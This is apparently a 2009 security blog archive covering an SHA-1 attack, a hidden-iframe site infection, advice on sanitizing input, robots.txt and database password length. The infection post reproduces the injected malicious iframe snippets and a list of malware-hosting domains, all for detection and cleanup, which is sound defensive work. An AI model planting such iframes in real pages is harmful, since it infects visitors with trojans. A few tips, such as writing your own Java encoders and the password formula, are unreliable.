A few days ago at EuroCrypt 2009, security researchers announced an attack on the SHA-1 hashing algorithm. The attack is a fairly serious one and it is a strong signal for software vendors to move away from SHA-1.

For almost all cryptographic algorithms, if the digest length is n, it means that there are 2ⁿ different possible values for the message digest (cipher text in the case of an encryption algorithm). Taking the possibility of birthday attacks into account, we can safely assume that breaking these digests will take at least 2^n/2 operations.

If n = 160 (as in the case of SHA-1), it will take 2⁸⁰ calculations to break the code. Even if we assume that a computer can do 2²⁰ operations per second, it will take a whopping 36 billion years to crack the code. Our secrets and systems are kept secure by these algorithms which are supposed to resist the best computers for 36 billion years from cracking code.

Then someone very smart comes along, finds a weakness in the algorithm itself rather than trying to do brute force attack, and the security of our documents, signatures and protocols are jeopardized. We are forced to find better alternatives and design better algorithms.

In the real world, cryptographic algorithms become obsolete or broken in 10-25 years rather than the theoretical time frame of 36 billion years.

As a precautionary step you may want to make the algorithms/protocols used in your application easily replaceable. This will make your life easier when the algorithm is broken and you want to replace it. Also, as a programmer you should understand that even if the algorithm is not yet broken, your implementation may be flawed. Most of the security vulnerabilities are caused by crappy implementations of secure algorithms/protocols.

And did I mention that you should not write your own encryption algorithm?

Of course in the real world things are entirely different:

As you probably know, none of the algorithms in the world will help you if I know your mother’s maiden name.

[Updated on October 27, 2009 with new a version of the script]

It is a shame that after all those posts about security, some of my websites were under attack today.

Shoban and Anand emailed me about this today morning (Thanks guys) and I tried to understand what was going on. To my utter disbelief more than 10 websites hosted in the same server were affected by the attack.

All the index.* files in the server were infected with a piece of code that loaded a hidden iframe in the page.

To the html pages the following piece of code was added:

<iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

To php pages it added:

echo “<iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Asha took the effort and cleaned most of the infected files. We are monitoring the status now.

How did the worm inject the hidden iframes to my files?

There are two ways through which the worm is believed to infect your files:

1) Server is compromised

This is the most common way. Some o the websites residing in the same web server as your website may be compromised (o it may be some vulnerabilities in your web application itself) that caused the web server to be compromised. Once the server is compromised, the worm will spread to all the websites in the server.

2) Client side FTP

The worm resides in some/any of the client side PCs you use for accessing the ftp/control panel accounts of your hosting server.

When you type in the username and password for the ftp/control panel account, the worm silently reads the credentials, accesses your ftp account and infects the files in the server. It adds the above mentioned code to all index.* files.

How can I recover from a hidden iframe injection attack?

Here are a few tips that might help you:

1. The first thing to do to prevent these kinds of attacks is to change your ftp, control panel and database passwords as soon as possible.
2. Notify your web host about the attack and advice them to take measures against a possible server wide attack.
3. Change the file permissions in your server to the maximum secure mode.
4. Download all your files from the server and  check for infections. Clean the infected files.
5. Using a good antivirus software, scan and clean every PC you use for logging into your hosting server.
6. Never use public computers to access your server.

How do I clean infected files?

Use these regular expressions to search for all pages containig the malicious code and replace it with space:

<iframe src=\”http://[^"]*” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>

echo \”<iframe src=\\\”http://[^"]*\” width=1 height=1 style=\\\”visibility:hidden;position:absolute\\\”></iframe>\”;

You may have to write a script to automate this for all the files in the server.

I have cooked up a php script that can help you find out the infected files. Download the file from here, save it as clean.php (it is currently clean.php.txt) and upload it to the root folder of your website.

You may want to change some hardcoded values inside the file.

Then visit the url:

http://www.yourdomain.com/clean.php?c=iframe

The parameter c specifies the text to search for inside the file. The results will be something like:

It will search all the files in your website and if any of the files contains the given string, it will print the filename along with the number of occurrences of the string. In the above screenshot, you can see that one file is infected.

Note that the script will not remove the iframes from your files. Automated cleaning could break some of your websites. So as of now you will have to clean the files manually.

Faiz has written an advanced ASP.Net script for finding the infected files, and it can be found here.

Will my search engine rankings be affected by this attack?

Try to be fast with these steps because if a visitor see the message “This site may harm your computer” pop up when (s)he try to access your website/blog, (s)he may not return again. Remember that if the security of your website is compromised, it can affect the search engine rankings of the website. Besides, it may pave way for more sophisticated attacks.

Google will mark your site in it’s search results with a warning: “This site may harm your computer”.

Use the following link to see what google thinks about your website (give the url of your site instead of shopfloorbd.co.uk):

http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk

As mentioned above, you must remove the malware from your local machine using some antivirus software. AVG sees it as “Trojan Horse Downloader” and NOD32 sees it as “JS/Kryptik.B trojan”.

Note that when visiting an infected site, some antivirus softwares prompt you that “Trojan Horse Downloader”, an exe-file is trying to get loaded. Once the exe infects your machine, it will infect your server too.

Here are some more code samples caught from the wild:

<iframe src=”http://hostverify.net/?click=2730375″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

<iframe src=”http://hosttracker.net/?click=32431937″ width=1 height=1 style=”visibility:hidden;position:absolute”>

There are obfuscated versions of the attack code too:

<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){…  etc.

Here is a list of some other websites that host malicious content:

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net/

http://live-counter.net

http://klinoneshoes.info

protection-livescan.com/

http://webexperience13.com

http://q5x.ru

http://q5x.ru

gumblar.cn

martuz.cn

beladen.net

38zu.cn

googleanalytlcs.net

lousecn.cn

fqwerz.cn

d99q.cn

orgsite.info

94.247.2.0

94.247.2.195

http://mmsreader.com

http://google-ana1yticz.com

http://my2.mobilesect.info

http://thedeadpit.com

http://internetcountercheck.com

http://165.194.30.123

http://ruoo.info

gogo2me.net/

http://live-counter.net

http://klinoneshoes.info

protection-livescan.com/

http://webexperience13.com

http://q5x.ru

If you find these urls in any code in your website, that is a sure shot sign that you are infected.

One of my friends was talking to me:

Hey you see that guy? He is a very good programmer and he knows a lot of stuff.

I asked him whether he knew anything about this encryption algorithm. He told me that he knows a lot about encryption algorithms. In fact he writes his own encryption algorithms. He told me that it is always better to write your own algorithms.

Yeah.

Now I know how knowledgeable he is.

I have small request to make to all of the self proclaimed cryptographic experts out there:

Cryptography is hard. It is hard because there are always smarter people out there who can break your home-made super-duper encryption algorithm. If you are so confident in your abilities, use your own encryption algorithms in your own applications. Please don’t give it to the public. If are sharing your application with us, specify that you are using your own encryption algorithm so that we’ll understand how awesome you are and how awesome your products will be (and probably avoid using your awful application).

I know what you will be thinking right now:

But, nobody ever cracked my encryption algorithm!

That is because nobody cares. People have their own work to do rather than trying to crack your pet algorithm. If you really want to test the strength of your algorithm, try announcing a million dollar prize for the guy who breaks it.

And please don’t spread messages like “it is always better to write our own algorithms”  among us mortals. May be you can do good security on your own; we can’t.

User data can be dangerous. Whatever the user supplies as data, especially in a web application, cannot be assumed to be safe. On the contrary, there are many malicious users who try to exploit every security vulnerability in your application. XSS, CSRF, SQL Injection attacks are familiar to most of you. (If not, go figure it out and come back fast.) In order to protect your application from such attacks you need to sanitize user data so that it does not do anything harmful to your system.

A big question being discussed vigorously in the web development community is:

Where to sanitize the user data? Should it be done in the input stage where the data is being entered by the user or in the output stage where the data is being displayed to the user?

The solution, in my opinion, (and in the opinion of a large group of experts in this field) is to do dual sanitization. One validation and SQL escaping before going into the database and one sanitization (filtering and escaping) before going to the output.

So the process essentially boils down to validation in the input and escaping in the output. Here are the reasons why you should go by this method instead of escaping and sanitation in the input alone:

1. The way data needs to be sanitized depends on the context the data is intended to be used. For example, if the data is to be stored in a database, we need to escape the ‘ character to prevent SQL Injection attacks. If the data is to be displayed in the HTML output, we need to escape the < and > characters to prevent XSS attacks. In the input stage we cannot anticipate the ways in which the data is going to be used.  So it is better to sanitize the data just before the output stage when it is clear where the data is going.
2. You cannot always be sure that the data in the database is sanitized data. You cannot guarantee that it came from the sources we anticipated the data to come from. There is a chance that the data ended up in the database through a path where you have not placed your input sanitizer. What if a user directly edited the database to add some data? What if there are loopholes in your sanitizer? What if the data was placed by an SQL injection attack against your database? All these points tell us that we need to sanitize user data where it is being used – that is in the output stage.
3. There may be other applications which use the data from your database. For example an application written in COBOL may be using the data from the database to generate some reports with it. If the data already in the database is in the form of &gt;script&lt;&nbsp;hello&nbsp;world, the COBOL application will not able to make sense out of the data. It will have to implement its own decoder to read the data. This is a very painful process. We can avoid situations like this if we do not push processed data into the database.
4. It is always best to have pure unaltered data in the database so that it can be easily processed by all the applications using the data. Once we sanitize the data before it is stored in the database, there is no going back. It is really hard to get the original data supplied by the user back after doing all these filtering and escaping techniques. On the other hand, if we have unaltered data in the database it is easy to escape it later with respect to each application using the data.
5. According to the above points, data sanitization in the output is anyway needed for obvious reasons. If we are encoding the user data in the input as well as in the output, the data will be in a doubly encoded form and it will not be useful at all. There is no need for double sanitization anyway. So it is always recommended to encode your data to the target format just before passing the data to the target system.
6. Users have reported security holes with applications like phpMyAdmin when it displays database values without encoding to HTML format. The developers of phpMyAdmin anticipated the data in the user databases to be free of any malicious code, but it may not be the case. So your application needs output sanitization especially if you are using data form outside sources. Never trust any data coming your way.
7. Assume that you are using input sanitization. If there is some bug in the sanitizer, malicious data will creep into the database and now you have to fix the sanitizer and remove all the malicious data from your database. This can be a very tedious job. But if you were using output sanitizer, you just would have to modify the code to fix the security hole.

So how to do this two step sanization? Here is how:

1. User data comes in
2. Validate the data
3. If valid, do SQL escaping and store in the database. (mysql_real_escape_string( ) in PHP)
4. If invalid, reject the data. Don’t try to modify the data and push it into the database. This will do more harm than good. The user will think that the data went through successfully while the data in the database will be something else. So just accept or reject the user data. Don’t try to alter it.
5. Output: If the data is going to an HTML page, escape for HTML. (htmlentities( ) in PHP). If the data is going to a unix command line, escape for shell.(escapeshellarg( ) in PHP). If the data is going to a URL, URL encode the data.(urlencode( ) in PHP) etc.

In the validation step, check for the proper encoding of the data – URL/UTF-7/Unicode/US-ASCII etc. Then check if the data contains proper character-set. Allow only the characters which are really needed for the application. Put a limit the length of the input data. Remember that an attacker usually makes use of long strings to craft an attack. Check whether the data format is correct or not. Phone numbers should contain only numbers; email addresses should contain text in the specific email format etc.

Always use the methods or frameworks provided by your language/platform to do the escaping and encoding/decoding. Most of the languages out there support these operations. Java is an exception though: when you are using Java, you should write your own methods handle HTML encoding/decoding.

Finally, when sending the data to the web browser, remember to set the proper encoding for the web page. This can be done using the response header attribute or using meta tags. It is advisable to use both methods. Forgetting this step can aid some types of XSS attacks.

Other concerns

Some websites need to output user input as HTML itself – for example websites that allow HTML editing. In this case you cannot do encoding in your application. Remember to add proper filtering mechanisms to allow only the tags that are intended to be used. Always block potentially dangerous tags such as <script></script>

Read more at:

• Safe String Theory for the Web : Steven Wittens
• Input validation or output filtering, which is better? : Jeremiah Grossman
• Filter Input-Escape Output: Security Principle and Practice : Terry Chay
• Secure input and output handling : Wikipedia
• Web security: Google Code

I am increasingly coming across people who think robots.txt file can be used to prevent search engine crawlers from crawling sensitive data in their websites. Seriously.

This is just plain wrong. Data to be excluded using a robots.txt file is: unwanted, redundant or useless data. An entry in the robots.txt file cannot protect your sensitive data from going out. Sensitive data should not be left open in your website in the first place.

There are many malicious crawlers which crawl only the pages blocked by the robot.txt file in every website. I bet many interesting stuff will turn up in their search results.

Your choice of passwords shows how important the data secured by the password is. If the password for your email account is passw0rd, it means that the data in your email is not important enough (or that you don’t care much about the importance of the data). We all know that it is generally not a good idea to store user passwords in your database in the form of plain text. But in certain cases, you may be compelled to store user passwords directly in the plain text form in the database.

This means that all the user passwords are secured by a single database password. If someone brute forces the database password, he/she can read all the user passwords, and users as we know, are infamous for using the same passwords for most of their accounts everywhere. Thus the attacker can access other accounts of the user elsewhere.

As a developer/ DBA, it is your job to secure the data in your database. One thing you can do is to make the brute forcing of the database password as hard as brute forcing all the passwords in the database. This can be done by choosing the length of your database password wisely.

What should be the length of your database password?

Minimum length of database password = Average length of user passwords contained in the db *  log2 (number of user passwords) / 8

For example, if you are storing 1024 passwords of average length 8 characters, your database password should be at least 10 characters in length.